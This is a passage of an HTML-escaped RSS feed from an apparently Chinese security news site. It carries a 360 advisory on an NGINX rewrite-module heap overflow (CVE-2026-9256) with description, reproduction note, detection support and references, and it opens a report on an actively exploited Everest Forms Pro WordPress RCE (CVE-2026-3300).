leaf=&quot;&quot;&gt;03&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(100, 130, 228);padding: 5px 0px 5px 25px;height: auto;margin: 0px 40px 0px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 5px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: justify;font-size: 17px;color: rgb(100, 130, 228);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;font-size: 16px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞描述&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;z-index: 2;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0px;text-align: right;transform: translate3d(15px, 0px, 0px);-webkit-transform: translate3d(15px, 0px, 0px);-moz-transform: translate3d(15px, 0px, 0px);-o-transform: translate3d(15px, 0px, 0px);box-sizing: border-box;&quot;&gt;&lt;section style=&quot;background-color: rgb(100, 130, 228);height: 1px;box-sizing: border-box;&quot;&gt;&lt;svg viewbox=&quot;0 0 1 1&quot; style=&quot;float:left;line-height:0;width:0;vertical-align:top;&quot;&gt;&lt;/svg&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;padding: 0px 8px;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;word-break: break-all;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;近日，安全研究人员披露了 NGINX 中存在的堆缓冲区溢出漏洞（CVE-2026-9256）。该漏洞源于 NGINX 重写模块在运行时处理具有重叠捕获组的正则表达式时，未能正确计算所需的输出缓冲区大小。当重写指令使用存在重叠捕获组的正则表达式并在重定向或查询字符串替换中多次引用这些捕获时，系统对 URL 转义开销的预算偏小。攻击者通过发送包含大量需要 URL 转义字符的特制 HTTP 请求，可在写入缓冲区时触发堆溢出，进而导致工作进程崩溃重启。在成功绕过或关闭地址空间布局随机化（ASLR）的情况下，攻击者可借助该可控内存覆盖原语和相邻堆内存泄漏能力，可能实现任意代码执行。&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;z-index: auto;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;margin: 0px -18px 0px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: center;margin: 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(100, 130, 228);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;04&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(100, 130, 228);padding: 5px 0px 5px 25px;height: auto;margin: 0px 40px 0px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 5px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: justify;font-size: 17px;color: rgb(100, 130, 228);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;font-size: 16px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞复现&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;z-index: 2;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0px;text-align: right;transform: translate3d(15px, 0px, 0px);-webkit-transform: translate3d(15px, 0px, 0px);-moz-transform: translate3d(15px, 0px, 0px);-o-transform: translate3d(15px, 0px, 0px);box-sizing: border-box;&quot;&gt;&lt;section style=&quot;background-color: rgb(100, 130, 228);height: 1px;box-sizing: border-box;&quot;&gt;&lt;svg viewbox=&quot;0 0 1 1&quot; style=&quot;float:left;line-height:0;width:0;vertical-align:top;&quot;&gt;&lt;/svg&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;word-break: break-all;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;360漏洞研究院已成功复现 NGINX ngx_http_rewrite_module 缓冲区溢出漏洞（CVE-2026-9256），通过 POC 可远程未授权读取堆内存关键指针，并触发工作进程崩溃，验证了该漏洞可以实现信息泄露与 DoS 攻击。&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;&quot; nodeleaf=&quot;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100013613&quot; data-s=&quot;300,640&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/06/20260623100819178218049957325.jpg&quot; referrerpolicy=&quot;no-referrer&quot; data-w=&quot;631&quot; style=&quot;vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;&quot;/&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;font-size: 12px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;CVE-2026-9256&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;NGINX ngx_http_rewrite_module 缓冲区溢出漏洞复现&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;z-index: auto;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;margin: 0px -18px 0px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: center;margin: 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(100, 130, 228);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;05&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(100, 130, 228);padding: 5px 0px 5px 25px;height: auto;margin: 0px 40px 0px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 5px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: justify;font-size: 16px;color: rgb(100, 130, 228);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;产品侧支持情况&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;z-index: 2;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0px;text-align: right;transform: translate3d(15px, 0px, 0px);-webkit-transform: translate3d(15px, 0px, 0px);-moz-transform: translate3d(15px, 0px, 0px);-o-transform: translate3d(15px, 0px, 0px);box-sizing: border-box;&quot;&gt;&lt;section style=&quot;background-color: rgb(100, 130, 228);height: 1px;box-sizing: border-box;&quot;&gt;&lt;svg viewbox=&quot;0 0 1 1&quot; style=&quot;float:left;line-height:0;width:0;vertical-align:top;&quot;&gt;&lt;/svg&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;word-break: break-all;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;360安全智能体：&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;支持该漏洞攻击的智能分析&lt;/span&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;word-break: break-all;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;360测绘云 Quake&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：默认支持该产品的指纹识别。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;word-break: break-all;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;360高级持续性威胁预警系统&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：预计 2026年05月27日发布规则更新包，支持该漏洞利用行为的检测。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;word-break: break-all;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;360资产与漏洞检测管理系统&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：预计 2026年05月27日发布规则更新包，支持该漏洞利用行为的检测。&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;本地安全大脑&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：默认支持该漏洞的PoC检测。&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;z-index: auto;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;margin: 0px -18px 0px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: center;margin: 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(100, 130, 228);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;06&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(100, 130, 228);padding: 5px 0px 5px 25px;height: auto;margin: 0px 40px 0px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 5px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: justify;font-size: 17px;color: rgb(100, 130, 228);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;font-size: 16px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;时间线&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;z-index: 2;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0px;text-align: right;transform: translate3d(15px, 0px, 0px);-webkit-transform: translate3d(15px, 0px, 0px);-moz-transform: translate3d(15px, 0px, 0px);-o-transform: translate3d(15px, 0px, 0px);box-sizing: border-box;&quot;&gt;&lt;section style=&quot;background-color: rgb(100, 130, 228);height: 1px;box-sizing: border-box;&quot;&gt;&lt;svg viewbox=&quot;0 0 1 1&quot; style=&quot;float:left;line-height:0;width:0;vertical-align:top;&quot;&gt;&lt;/svg&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;word-break: break-all;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2026年05月26日，360漏洞研究院发布本安全风险通告。&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;z-index: auto;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;margin: 0px -18px 0px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: center;margin: 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(100, 130, 228);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;color: rgb(255, 255, 255);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;07&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(100, 130, 228);padding: 5px 0px 5px 25px;height: auto;margin: 0px 40px 0px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 5px 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: justify;font-size: 17px;color: rgb(100, 130, 228);box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;font-size: 16px;box-sizing: border-box;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;参考链接&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;z-index: 2;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0px;text-align: right;transform: translate3d(15px, 0px, 0px);-webkit-transform: translate3d(15px, 0px, 0px);-moz-transform: translate3d(15px, 0px, 0px);-o-transform: translate3d(15px, 0px, 0px);box-sizing: border-box;&quot;&gt;&lt;section style=&quot;background-color: rgb(100, 130, 228);height: 1px;box-sizing: border-box;&quot;&gt;&lt;svg viewbox=&quot;0 0 1 1&quot; style=&quot;float:left;line-height:0;width:0;vertical-align:top;&quot;&gt;&lt;/svg&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;padding: 0px 8px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-9256&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;https://my.f5.com/manage/s/article/K000161377&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;font-size: 14px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px 20px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;align-self: center;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;margin: 0.5em 0px;box-sizing: border-box;&quot;&gt;&lt;section style=&quot;background-color: rgb(101, 101, 101);height: 1px;box-sizing: border-box;&quot;&gt;&lt;svg viewbox=&quot;0 0 1 1&quot; style=&quot;float:left;line-height:0;width:0;vertical-align:top;&quot;&gt;&lt;/svg&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Tue, 23 Jun 2026 10:07:26 +0800</pubDate></item><item><title>紧急预警：热门WordPress插件爆出高危RCE漏洞，攻击者已开始大规模接管网站</title><link>https://www.7x0.cn/post/32.html</link><description>&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;一个被大量 WordPress 网站使用的付费表单插件 Everest Forms Pro 爆出严重安全漏洞，漏洞编号为 CVE-2026-3300，危险等级达到 CVSS 9.8（Critical）。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;更严重的是：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;strong style=&quot;font-weight: 600;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;攻击者已经开始大规模利用。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;安全研究人员确认，这一漏洞允许攻击者无需登录、无需账号，仅通过提交一个特殊构造的表单，就可能直接获取整个网站控制权。&lt;/span&gt;&lt;/p&gt;&lt;hr style=&quot;box-sizing: content-box;overflow: hidden;background: rgb(209, 217, 224);height: 0.25em;padding: 0px;margin: 1.5rem 0px;border: 0px;font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;/&gt;&lt;h2 style=&quot;font-size: 1.5em;margin: 1.5rem 0px 1rem;padding: 0px 0px 0.3em;font-weight: 600;line-height: 1.25;border-bottom: 1px solid rgba(209, 217, 224, 0.7);color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞概要&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: 